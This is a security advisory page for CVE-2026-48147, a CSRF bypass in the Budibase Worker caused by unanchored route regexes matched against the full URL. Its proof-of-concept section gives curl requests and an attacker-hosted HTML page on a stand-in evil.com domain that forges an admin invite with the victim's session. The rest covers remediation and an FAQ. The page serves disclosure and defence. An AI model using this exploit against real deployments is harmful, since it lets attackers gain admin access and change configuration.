CVE-2026-48147: Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker

Published May 27, 2026
·
Updated

Summary

The buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.

CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in server/middleware/utils.ts but left backend-core/middleware/matchers.ts untouched.

---

Details

Root cause — packages/backend-core/src/middleware/matchers.ts:

typescript export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => { return patterns.map(pattern => { let route = pattern.route // replaces :param segments with /. const matches = route.match(PARAMREGEX) if (matches) { for (let match of matches) { const suffix = match.endsWith("/") ? "/" : "" route = route.replace(match, "/." + suffix) } } return { regex: new RegExp(route), method, route } // ^ no ^ anchor, no $ anchor — matches anywhere in string }) }

export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { const urlMatch = regex.test(ctx.request.url) // full URL including query string const methodMatch = method === "ALL" ? true : ctx.request.method.toLowerCase() === method.toLowerCase() return urlMatch && methodMatch }) }

Two compounding bugs identical to the patched CVE: 1. new RegExp(route) — no ^ start anchor, no $ end anchor. 2. ctx.request.url — full URL string including ?query=value, not just the path.

---

CSRF middleware — packages/backend-core/src/middleware/csrf.ts:

typescript export function csrf( opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] } ) { const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns) return (async (ctx: Ctx, next: Next) => { const found = matches(ctx, noCsrfOptions) if (found) { return next() // <-- CSRF check entirely skipped when pattern matches } // ... CSRF token validation ... }) as Middleware }

---

Worker registration — packages/worker/src/api/index.ts:

typescript const NOCSRFENDPOINTS = [...PUBLICENDPOINTS] // PUBLICENDPOINTS includes (among others): // { route: "/api/global/auth/:tenantId", method: "POST" } // { route: "/api/global/users/init", method: "POST" } // { route: "/api/system/restored", method: "POST" }

router .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NOCSRFENDPOINTS }))

buildMatcherRegex compiles "/api/global/auth/:tenantId" into the regex /api/global/auth/. (via PARAMREGEX replacing /:tenantId → /.). Since the regex is unanchored, it matches the substring "/api/global/auth/" anywhere in ctx.request.url — including inside a query string parameter on a completely different endpoint.

Triggering condition:

POST /api/global/users/invite?x=/api/global/auth/evil

- ctx.request.url = "/api/global/users/invite?x=/api/global/auth/evil" - new RegExp("/api/global/auth/.").test(ctx.request.url) → true (substring found in query string) - ctx.request.method === "POST" → true - matches() returns the pattern entry → CSRF skipped - The protected user-invite POST proceeds without any CSRF token

---

Additional affected middleware (same matches() call):

| Middleware | Pattern list | Security effect when bypassed | |---|---|---| | csrf() | NOCSRFENDPOINTS | CSRF token validation skipped | | tenancy() | NOTENANCYENDPOINTS | allowNoTenant = true, bypasses tenant ID requirement | | authenticated() | PUBLICENDPOINTS | Marks endpoint as publicEndpoint = true |

The NOTENANCYENDPOINTS entry { route: "/api/system", method: "ALL" } compiles to /api/system (no param replacement). Since method: "ALL" matches every HTTP verb and the pattern is unanchored, any request with ?x=/api/system/x in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.

---

PoC

Prerequisites: Victim user is logged into a Budibase Worker instance (e.g., https://budibase.target.com) in their browser. Attacker hosts a page at https://evil.com.

Step 1 — Verify CSRF is normally enforced:

bash Without the bypass — CSRF token missing → rejected curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victimsession>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v → HTTP 403 CSRF token mismatch

Step 2 — CSRF bypass via query string injection:

bash With the bypass — append a public-route pattern in the query string curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victimsession>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v → HTTP 200 OK — invite created, no CSRF token required

Step 3 — Cross-site exploitation (victim visits attacker page):

html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: 'attacker@evil.com', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html>

When the authenticated victim visits https://evil.com/csrf.html, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches /api/global/auth/. in the query string, skips validation, and processes the admin invite.

---

Impact

An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:

- User management: send admin/operator invites, delete users, modify roles - Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding - Tenant administration: in multi-tenant instances, tenant isolation bypass via NOTENANCYENDPOINTS (/api/system match) combined with the CSRF bypass allows cross-tenant administrative actions

The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in packages/backend-core/src/middleware/matchers.ts, which was not addressed by the patch for that CVE.

Other sources

Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.

NVD

Affected Software

2 affected componentsFixes available
budibase Budibase Worker<3.35.4
npm/@budibase/backend-core<3.35.4
3.35.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@budibase/backend-core to a version that resolves this vulnerability.

    Fixed in 3.35.4
  2. Configuration

    Change buildMatcherRegex to produce anchored regular expressions (add ^ at start and $ at end of compiled patterns) and update matches() to test against the request path (or the path portion of ctx.request.url) instead of ctx.request.url (which includes the query string). This prevents query-string injection from matching public routes.

    packages/backend-core/src/middleware/matchers.ts route matching = anchor regexes and match only the request path (not the full URL)
  3. Compensating control

    Until the package is upgraded, restrict exposure of the Worker API: limit access to trusted IPs/networks (firewall, VPN), place the Worker behind an internal network or WAF, and block or validate cross-origin requests to sensitive endpoints.

  4. Operational

    Audit recent administrative actions (user invites, role changes, global configuration and tenant administration actions) for unauthorized changes. Revoke or revert any suspicious invites/changes and rotate/invalidate affected sessions, API keys, and credentials that may have been abused.

Event History

May 27, 2026
CVE Published
via MITRE·05:14 PM
Data Sourced
via MITRE·05:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Jun 12, 2026
Advisory Published
via GitHub·06:23 PM
Data Sourced
via GitHub·06:23 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48147?

CVE-2026-48147 has a medium severity score of 6.5.

2

How does CVE-2026-48147 allow CSRF bypass?

CVE-2026-48147 allows CSRF bypass through unanchored regex which can be exploited via query string injection.

3

What is affected by CVE-2026-48147?

CVE-2026-48147 affects the Budibase Worker in versions prior to 3.35.4.

4

How do I fix CVE-2026-48147?

To fix CVE-2026-48147, update Budibase Worker to version 3.35.4 or later.

5

What is the impact of CVE-2026-48147?

The impact of CVE-2026-48147 includes potential CSRF attacks due to improper handling of request URLs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203